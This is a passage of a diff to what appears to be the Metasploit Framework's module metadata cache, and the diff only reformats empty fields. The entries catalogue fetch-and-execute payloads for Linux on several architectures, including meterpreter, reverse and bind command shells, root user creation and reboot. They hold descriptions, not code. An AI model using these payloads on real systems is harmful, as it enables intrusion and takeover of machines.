+ "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -200543,9 +178058,7 @@ "payload_cmd/linux/http/mipsbe/meterpreter_reverse_tcp": { "name": "HTTP Fetch", "fullname": "payload/cmd/linux/http/mipsbe/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -200557,9 +178070,7 @@ "timwr" ], "description": "Fetch and execute an MIPSBE payload from an HTTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -200573,8 +178084,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -200585,9 +178095,7 @@ "payload_cmd/linux/http/mipsbe/reboot": { "name": "HTTP Fetch, Linux Reboot", "fullname": "payload/cmd/linux/http/mipsbe/reboot", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -200614,8 +178122,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -200626,9 +178133,7 @@ "payload_cmd/linux/http/mipsbe/shell/reverse_tcp": { "name": "HTTP Fetch, Linux Command Shell, Reverse TCP Stager", "fullname": "payload/cmd/linux/http/mipsbe/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -200639,9 +178144,7 @@ "tkmru" ], "description": "Fetch and execute an MIPSBE payload from an HTTP server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -200655,8 +178158,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -200669,9 +178171,7 @@ "payload_cmd/linux/http/mipsbe/shell_bind_tcp": { "name": "HTTP Fetch, Linux Command Shell, Bind TCP Inline", "fullname": "payload/cmd/linux/http/mipsbe/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -200684,9 +178184,7 @@ "juan vazquez " ], "description": "Fetch and execute an MIPSBE payload from an HTTP server.\nListen for a connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -200700,8 +178198,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -200712,9 +178209,7 @@ "payload_cmd/linux/http/mipsbe/shell_reverse_tcp": { "name": "HTTP Fetch, Linux Command Shell, Reverse TCP Inline", "fullname": "payload/cmd/linux/http/mipsbe/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -200741,8 +178236,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -200753,9 +178247,7 @@ "payload_cmd/linux/http/mipsle/exec": { "name": "HTTP Fetch, Linux Execute Command", "fullname": "payload/cmd/linux/http/mipsle/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -200782,8 +178274,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -200794,9 +178285,7 @@ "payload_cmd/linux/http/mipsle/meterpreter/reverse_tcp": { "name": "HTTP Fetch, Reverse TCP Stager", "fullname": "payload/cmd/linux/http/mipsle/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -200808,9 +178297,7 @@ "tkmru" ], "description": "Fetch and execute an MIPSLE payload from an HTTP server.\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -200824,8 +178311,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -200838,9 +178324,7 @@ "payload_cmd/linux/http/mipsle/meterpreter_reverse_http": { "name": "HTTP Fetch", "fullname": "payload/cmd/linux/http/mipsle/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -200852,9 +178336,7 @@ "timwr" ], "description": "Fetch and execute an MIPSLE payload from an HTTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -200868,8 +178350,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -200880,9 +178361,7 @@ "payload_cmd/linux/http/mipsle/meterpreter_reverse_https": { "name": "HTTP Fetch", "fullname": "payload/cmd/linux/http/mipsle/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -200894,9 +178373,7 @@ "timwr" ], "description": "Fetch and execute an MIPSLE payload from an HTTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -200910,8 +178387,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -200922,9 +178398,7 @@ "payload_cmd/linux/http/mipsle/meterpreter_reverse_tcp": { "name": "HTTP Fetch", "fullname": "payload/cmd/linux/http/mipsle/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -200936,9 +178410,7 @@ "timwr" ], "description": "Fetch and execute an MIPSLE payload from an HTTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -200952,8 +178424,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -200964,9 +178435,7 @@ "payload_cmd/linux/http/mipsle/reboot": { "name": "HTTP Fetch, Linux Reboot", "fullname": "payload/cmd/linux/http/mipsle/reboot", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -200993,8 +178462,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -201005,9 +178473,7 @@ "payload_cmd/linux/http/mipsle/shell/reverse_tcp": { "name": "HTTP Fetch, Linux Command Shell, Reverse TCP Stager", "fullname": "payload/cmd/linux/http/mipsle/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -201018,9 +178484,7 @@ "tkmru" ], "description": "Fetch and execute an MIPSLE payload from an HTTP server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -201034,8 +178498,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -201048,9 +178511,7 @@ "payload_cmd/linux/http/mipsle/shell_bind_tcp": { "name": "HTTP Fetch, Linux Command Shell, Bind TCP Inline", "fullname": "payload/cmd/linux/http/mipsle/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -201063,9 +178524,7 @@ "juan vazquez " ], "description": "Fetch and execute an MIPSLE payload from an HTTP server.\nListen for a connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -201079,8 +178538,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -201091,9 +178549,7 @@ "payload_cmd/linux/http/mipsle/shell_reverse_tcp": { "name": "HTTP Fetch, Linux Command Shell, Reverse TCP Inline", "fullname": "payload/cmd/linux/http/mipsle/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -201104,9 +178560,7 @@ "juan vazquez " ], "description": "Fetch and execute an MIPSLE payload from an HTTP server.\nConnect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -201120,8 +178574,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -201132,9 +178585,7 @@ "payload_cmd/linux/http/ppc/meterpreter_reverse_http": { "name": "HTTP Fetch", "fullname": "payload/cmd/linux/http/ppc/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -201146,9 +178597,7 @@ "timwr" ], "description": "Fetch and execute an PPC payload from an HTTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -201162,8 +178611,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -201174,9 +178622,7 @@ "payload_cmd/linux/http/ppc/meterpreter_reverse_https": { "name": "HTTP Fetch", "fullname": "payload/cmd/linux/http/ppc/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -201188,9 +178634,7 @@ "timwr" ], "description": "Fetch and execute an PPC payload from an HTTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -201204,8 +178648,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -201216,9 +178659,7 @@ "payload_cmd/linux/http/ppc/meterpreter_reverse_tcp": { "name": "HTTP Fetch", "fullname": "payload/cmd/linux/http/ppc/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -201230,9 +178671,7 @@ "timwr" ], "description": "Fetch and execute an PPC payload from an HTTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -201246,8 +178685,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -201258,9 +178696,7 @@ "payload_cmd/linux/http/ppc64/shell_bind_tcp": { "name": "HTTP Fetch, Linux Command Shell, Bind TCP Inline", "fullname": "payload/cmd/linux/http/ppc64/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -201270,9 +178706,7 @@ "Ramon de C Valle " ], "description": "Fetch and execute an PPC64 payload from an HTTP server.\nListen for a connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -201286,8 +178720,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -201298,9 +178731,7 @@ "payload_cmd/linux/http/ppc64/shell_find_port": { "name": "HTTP Fetch, Linux Command Shell, Find Port Inline", "fullname": "payload/cmd/linux/http/ppc64/shell_find_port", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -201310,9 +178741,7 @@ "Ramon de C Valle " ], "description": "Fetch and execute an PPC64 payload from an HTTP server.\nSpawn a shell on an established connection", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -201326,8 +178755,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -201338,9 +178766,7 @@ "payload_cmd/linux/http/ppc64/shell_reverse_tcp": { "name": "HTTP Fetch, Linux Command Shell, Reverse TCP Inline", "fullname": "payload/cmd/linux/http/ppc64/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -201350,9 +178776,7 @@ "Ramon de C Valle " ], "description": "Fetch and execute an PPC64 payload from an HTTP server.\nConnect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -201366,8 +178790,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -201378,9 +178801,7 @@ "payload_cmd/linux/http/ppc64le/meterpreter_reverse_http": { "name": "HTTP Fetch", "fullname": "payload/cmd/linux/http/ppc64le/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -201392,9 +178813,7 @@ "timwr" ], "description": "Fetch and execute a PPC64LE payload from an HTTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -201408,8 +178827,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -201420,9 +178838,7 @@ "payload_cmd/linux/http/ppc64le/meterpreter_reverse_https": { "name": "HTTP Fetch", "fullname": "payload/cmd/linux/http/ppc64le/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -201434,9 +178850,7 @@ "timwr" ], "description": "Fetch and execute a PPC64LE payload from an HTTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -201450,8 +178864,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -201462,9 +178875,7 @@ "payload_cmd/linux/http/ppc64le/meterpreter_reverse_tcp": { "name": "HTTP Fetch", "fullname": "payload/cmd/linux/http/ppc64le/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -201476,9 +178887,7 @@ "timwr" ], "description": "Fetch and execute a PPC64LE payload from an HTTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -201492,8 +178901,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -201504,9 +178912,7 @@ "payload_cmd/linux/http/x64/exec": { "name": "HTTP Fetch, Linux Execute Command", "fullname": "payload/cmd/linux/http/x64/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -201516,9 +178922,7 @@ "Geyslan G. Bem " ], "description": "Fetch and execute an x64 payload from an HTTP server.\nExecute an arbitrary command or just a /bin/sh shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -201532,8 +178936,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -201544,9 +178947,7 @@ "payload_cmd/linux/http/x64/meterpreter/bind_tcp": { "name": "HTTP Fetch, Bind TCP Stager", "fullname": "payload/cmd/linux/http/x64/meterpreter/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -201556,9 +178957,7 @@ "ricky" ], "description": "Fetch and execute an x64 payload from an HTTP server.\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -201572,8 +178971,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -201586,9 +178984,7 @@ "payload_cmd/linux/http/x64/meterpreter/reverse_sctp": { "name": "HTTP Fetch, Reverse SCTP Stager", "fullname": "payload/cmd/linux/http/x64/meterpreter/reverse_sctp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -201598,9 +178994,7 @@ "RageLtMan " ], "description": "Fetch and execute an x64 payload from an HTTP server.\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -201614,8 +179008,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -201628,9 +179021,7 @@ "payload_cmd/linux/http/x64/meterpreter/reverse_tcp": { "name": "HTTP Fetch, Reverse TCP Stager", "fullname": "payload/cmd/linux/http/x64/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -201641,9 +179032,7 @@ "tkmru" ], "description": "Fetch and execute an x64 payload from an HTTP server.\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -201657,8 +179046,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -201671,9 +179059,7 @@ "payload_cmd/linux/http/x64/meterpreter_reverse_http": { "name": "HTTP Fetch", "fullname": "payload/cmd/linux/http/x64/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -201684,9 +179070,7 @@ "timwr" ], "description": "Fetch and execute an x64 payload from an HTTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -201700,8 +179084,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -201712,9 +179095,7 @@ "payload_cmd/linux/http/x64/meterpreter_reverse_https": { "name": "HTTP Fetch", "fullname": "payload/cmd/linux/http/x64/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -201725,9 +179106,7 @@ "timwr" ], "description": "Fetch and execute an x64 payload from an HTTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -201741,8 +179120,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -201753,9 +179131,7 @@ "payload_cmd/linux/http/x64/meterpreter_reverse_tcp": { "name": "HTTP Fetch", "fullname": "payload/cmd/linux/http/x64/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -201766,9 +179142,7 @@ "timwr" ], "description": "Fetch and execute an x64 payload from an HTTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -201782,8 +179156,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -201794,9 +179167,7 @@ "payload_cmd/linux/http/x64/pingback_bind_tcp": { "name": "HTTP Fetch, Linux x64 Pingback, Bind TCP Inline", "fullname": "payload/cmd/linux/http/x64/pingback_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -201805,9 +179176,7 @@ "bwatters-r7" ], "description": "Fetch and execute an x64 payload from an HTTP server.\nAccept a connection from attacker and report UUID (Linux x64)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -201821,8 +179190,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -201833,9 +179201,7 @@ "payload_cmd/linux/http/x64/pingback_reverse_tcp": { "name": "HTTP Fetch, Linux x64 Pingback, Reverse TCP Inline", "fullname": "payload/cmd/linux/http/x64/pingback_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -201844,9 +179210,7 @@ "bwatters-r7" ], "description": "Fetch and execute an x64 payload from an HTTP server.\nConnect back to attacker and report UUID (Linux x64)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -201860,8 +179224,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -201872,9 +179235,7 @@ "payload_cmd/linux/http/x64/shell/bind_tcp": { "name": "HTTP Fetch, Linux Command Shell, Bind TCP Stager", "fullname": "payload/cmd/linux/http/x64/shell/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -201883,9 +179244,7 @@ "ricky" ], "description": "Fetch and execute an x64 payload from an HTTP server.\nSpawn a command shell (staged).\n\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -201899,8 +179258,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -201913,9 +179271,7 @@ "payload_cmd/linux/http/x64/shell/reverse_sctp": { "name": "HTTP Fetch, Linux Command Shell, Reverse SCTP Stager", "fullname": "payload/cmd/linux/http/x64/shell/reverse_sctp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -201925,9 +179281,7 @@ "RageLtMan " ], "description": "Fetch and execute an x64 payload from an HTTP server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -201941,8 +179295,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -201955,9 +179308,7 @@ "payload_cmd/linux/http/x64/shell/reverse_tcp": { "name": "HTTP Fetch, Linux Command Shell, Reverse TCP Stager", "fullname": "payload/cmd/linux/http/x64/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -201967,9 +179318,7 @@ "tkmru" ], "description": "Fetch and execute an x64 payload from an HTTP server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -201983,8 +179332,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -201997,9 +179345,7 @@ "payload_cmd/linux/http/x64/shell_bind_ipv6_tcp": { "name": "HTTP Fetch, Linux x64 Command Shell, Bind TCP Inline (IPv6)", "fullname": "payload/cmd/linux/http/x64/shell_bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -202008,9 +179354,7 @@ "epi " ], "description": "Fetch and execute an x64 payload from an HTTP server.\nListen for an IPv6 connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -202024,8 +179368,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -202036,9 +179379,7 @@ "payload_cmd/linux/http/x64/shell_bind_tcp": { "name": "HTTP Fetch, Linux Command Shell, Bind TCP Inline", "fullname": "payload/cmd/linux/http/x64/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -202047,9 +179388,7 @@ "ricky" ], "description": "Fetch and execute an x64 payload from an HTTP server.\nListen for a connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -202063,8 +179402,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -202075,9 +179413,7 @@ "payload_cmd/linux/http/x64/shell_bind_tcp_random_port": { "name": "HTTP Fetch, Linux Command Shell, Bind TCP Random Port Inline", "fullname": "payload/cmd/linux/http/x64/shell_bind_tcp_random_port", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -202102,8 +179438,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -202114,9 +179449,7 @@ "payload_cmd/linux/http/x64/shell_find_port": { "name": "HTTP Fetch, Linux Command Shell, Find Port Inline", "fullname": "payload/cmd/linux/http/x64/shell_find_port", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -202125,9 +179458,7 @@ "mak" ], "description": "Fetch and execute an x64 payload from an HTTP server.\nSpawn a shell on an established connection", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -202141,8 +179472,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -202153,9 +179483,7 @@ "payload_cmd/linux/http/x64/shell_reverse_ipv6_tcp": { "name": "HTTP Fetch, Linux x64 Command Shell, Reverse TCP Inline (IPv6)", "fullname": "payload/cmd/linux/http/x64/shell_reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -202164,9 +179492,7 @@ "epi " ], "description": "Fetch and execute an x64 payload from an HTTP server.\nConnect back to attacker and spawn a command shell over IPv6", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -202180,8 +179506,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -202192,9 +179517,7 @@ "payload_cmd/linux/http/x64/shell_reverse_tcp": { "name": "HTTP Fetch, Linux Command Shell, Reverse TCP Inline", "fullname": "payload/cmd/linux/http/x64/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -202203,9 +179526,7 @@ "ricky" ], "description": "Fetch and execute an x64 payload from an HTTP server.\nConnect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -202219,8 +179540,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -202231,9 +179551,7 @@ "payload_cmd/linux/http/x86/adduser": { "name": "HTTP Fetch, Linux Add User", "fullname": "payload/cmd/linux/http/x86/adduser", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -202245,9 +179563,7 @@ "spoonm " ], "description": "Fetch and execute a x86 payload from an HTTP server.\nCreate a new user with UID 0", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -202261,8 +179577,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -202273,9 +179588,7 @@ "payload_cmd/linux/http/x86/chmod": { "name": "HTTP Fetch, Linux Chmod", "fullname": "payload/cmd/linux/http/x86/chmod", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -202285,9 +179598,7 @@ "kris katterjohn " ], "description": "Fetch and execute a x86 payload from an HTTP server.\nRuns chmod on specified file with specified mode", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -202301,8 +179612,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -202313,9 +179623,7 @@ "payload_cmd/linux/http/x86/exec": { "name": "HTTP Fetch, Linux Execute Command", "fullname": "payload/cmd/linux/http/x86/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -202343,8 +179651,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -202355,9 +179662,7 @@ "payload_cmd/linux/http/x86/generic/debug_trap": { "name": "HTTP Fetch, Generic x86 Debug Trap", "fullname": "payload/cmd/linux/http/x86/generic/debug_trap", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -202367,9 +179672,7 @@ "robert " ], "description": "Fetch and execute a x86 payload from an HTTP server.\nGenerate a debug trap in the target process", - "references": [ - - ], + "references": [], "platform": "BSD,BSDi,Linux,OSX,Solaris,Windows", "arch": "cmd", "rport": null, @@ -202383,8 +179686,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -202395,9 +179697,7 @@ "payload_cmd/linux/http/x86/generic/tight_loop": { "name": "HTTP Fetch, Generic x86 Tight Loop", "fullname": "payload/cmd/linux/http/x86/generic/tight_loop", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -202407,9 +179707,7 @@ "jduck " ], "description": "Fetch and execute a x86 payload from an HTTP server.\nGenerate a tight loop in the target process", - "references": [ - - ], + "references": [], "platform": "BSD,BSDi,Linux,OSX,Solaris,Windows", "arch": "cmd", "rport": null, @@ -202423,8 +179721,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -202435,9 +179732,7 @@ 